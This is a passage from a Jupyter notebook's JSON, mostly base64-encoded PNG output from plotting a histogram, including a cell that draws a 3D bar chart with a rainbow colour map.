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Bjh07VppMJjlhwgT56KOPyo6ODnnmmWfK6dOnyzPPPFN2dnYGjr/33nvl1KlT5cyZM+Urr7ySwpmnLzo7O+X//d//yQsvvFAuXbpU3nHHHXLjxo2yt7dX9vX1DfunqalJHn/88fK5555L+nv44IMP5Lnnnhv4/Wc/+5n82c9+lvTzphixuCBlP8d8JJVB8tDd3c1LL73Es88+y/79+zn77LNZvXo1ixYtiqvbc09PD5dffjk333wzn/vc55I4Yz/WrFnDq6++yqOPPgr4mzZ89NFHPPzww0k/dwqRtpFUJnGeQdJQWFjIl7/8Zb785S/T29vLK6+8wkMPPcTOnTs544wzWL16NcuXL49KWA6Hgy984Qt885vfHBWCgmNzkySdkUmcZzAqyM/P54orruCpp55iw4YNnHbaaTz66KOccMIJ3Hrrraxfvx5FUQa9pr+/ny984Qtcc801fPGLXxy1uR7rmyRphxjrwQyShK9+9auyvLxczps3L/BYZ2enPPvss+X06dPl2WefLW02m5RSytdff10uXbpUzp8/Xy5dulS+9dZbqZp2wuFyueRLL70kr776ajlv3jx5/fXXy1deeUW2tbXJc845R/7xj38c9Tl5vV45ZcoUuW/fPul2u+XChQtlbW3tqM9jlJHy3FOknwxJpQjvvvuu/PjjjweR1K233irvu+8+KaWU9913n7ztttuklFJu2bJFNjU1SSmlrKmpkePHjx/9CY8CPB6PfO211+T1118vS0tL5Y9//GOpqmpK5rJ27Vo5Y8YMOXXqVHnvvfemZA6jjJSTUaSfTOI8hRiOL5GUkrKyMg4fPjxECvBpQn9/P1arNZMLGj2k7QedSZynESKV5ATjmWeeYcmSJZ9qggIS6nWVwdGNDEkdRairq+P222/n9ddfT/VUMshg1JDZ3UsjRPMlamxs5JJLLuGxxx5j2rRpqZriUY2nn36aefPmYTAY2Lx586DnjnavsE8zMiSVRojUPNJut3PhhRdy3333cdJJJ6Vyikc15s+fz7PPPsupp5466PH6+nr+9a9/UVdXx6uvvso3v/nNIXKIDFKHDEmlCFdeeSUnnHACO3fupLKykj//+c9873vf44033mDGjBm88cYbfO973wPg4YcfZs+ePdxzzz0sXryYxYsXh81XZRAdc+bMYdasWUMef+GFF/jCF76AxWJhypQpTJ8+nY0bN6ZghhmEQyYnlSLE40t01113cddddyV7SscsjhWvsKMVGZLK4FOFs88+m5aWliGP//SnPw0sn0MRToaTkT6kDzIkdYxiOJ14GxoamDt3Lj/60Y/47ne/m6qpR8Wbb74Z92syZTDpjUxOKk5s2rSJhQsX4nK56OvrY968eYGb/GjCNddcw6uvvjrosfvvvz/gk3XWWWcNMXu75ZZbuOCCC0ZzmqOCiy++mH/961+43W7279/P7t27WblyZaqnlcEAMpFUnFixYgUXX3wxd911F06nky9/+cspaaM0Upx66qkcOHBg0GMvvPAC69atA+Dqq6/m9NNPD7QLf/7555k6dSq5ubmjPNPE4bnnnuO///u/aW9v58ILL2Tx4sW89tprzJs3j89//vPMnTsXk8nE7373u2PKzDDdkSmLGQY8Hg8rVqwgOzubDz744Ki9oPU2uezr6+Pss8/mjTfe4Je//CV5eXlpu9zLYNhI2yRcZrk3DNhsNhwOB729vbhcQ5tcftrwwx/+kFtuuYW8vLxUTyWDYxCZ5d4wcMMNN3DPPfewf/9+br/99k+NY6OmeNcKnDXF+0cffcSaNWu47bbbsNvtGAwGsrOzufHGG1M84wyOBWRIKk489thjmEwmvvjFL6IoCieeeCJvv/12UjuXjBY0xfv3vve9QYr39957L3DMj370I/Ly8jIElcGoIVZOKoNPKYQQTwCnA2VAK/BD4HngKWAS0AB8TkppC3ndjwCHlPKXozjdDI5hZEgqgwwySGtkEucZZJBBWiNDUhlkkEFaI0NSGWSQQVojQ1IZZJBBWiNDUhlkkEFaI0NSGWSQQVojQ1IZZJBBWiNDUhlkkEFa4/8DPY50TMIBtGsAAAAASUVORK5CYII=\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "histogram.plot(\"bar3d\", cmap=\"rainbow\");" ] }, { "cell_type": "code", "execution_count": 20, "metadata": {}, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAASkAAAEbCAYAAACGK3IkAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjQuMSwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy/Z1A+gAAAACXBIWXMAAAsTAAALEwEAmpwYAAB97klEQVR4nO2dd5xcZdn+v8/MbO81bZNseu8FaQEpYgSTgHSBIAgo8IK8SlOsqCACiiK8Iv4QUGoCARKkqUEIJYSQZEvqbjabbdnep8/z++PMmZ2dnXJmd1qSc30+80l29sw5Z3bOuea+7+e6r1tIKdGhQ4eORIUh3iegQ4cOHcGgk5QOHToSGjpJ6dChI6Ghk5QOHToSGjpJ6dChI6Ghk5QOHToSGjpJHeMQQpwshNgvhOgVQqwJsM0/hRBro3DsUiGEFEKY3D9vFkJ8exj7uVoI8WGQ30fl/HUkBnSSCgEhRI0Q4iyf54LeNAmGXwCPSikzpZQb/G0gpVwppXw6tqcVORzt568jOHSSOvYxEajw9wuhQL8GdCQ09As0AnCnNFO9fv6bEOKX7v+fLoSoE0LcIYRoFkI0CiHWCCG+JoTYJ4RoF0L80Ou1y4UQHwshOt3bPiqESPY51nfcKVyHEOJPQggR4LyqgMnAG+50L8Wdcv1KCLEF6Acm+6ZhQohrhBC73ft/Wwg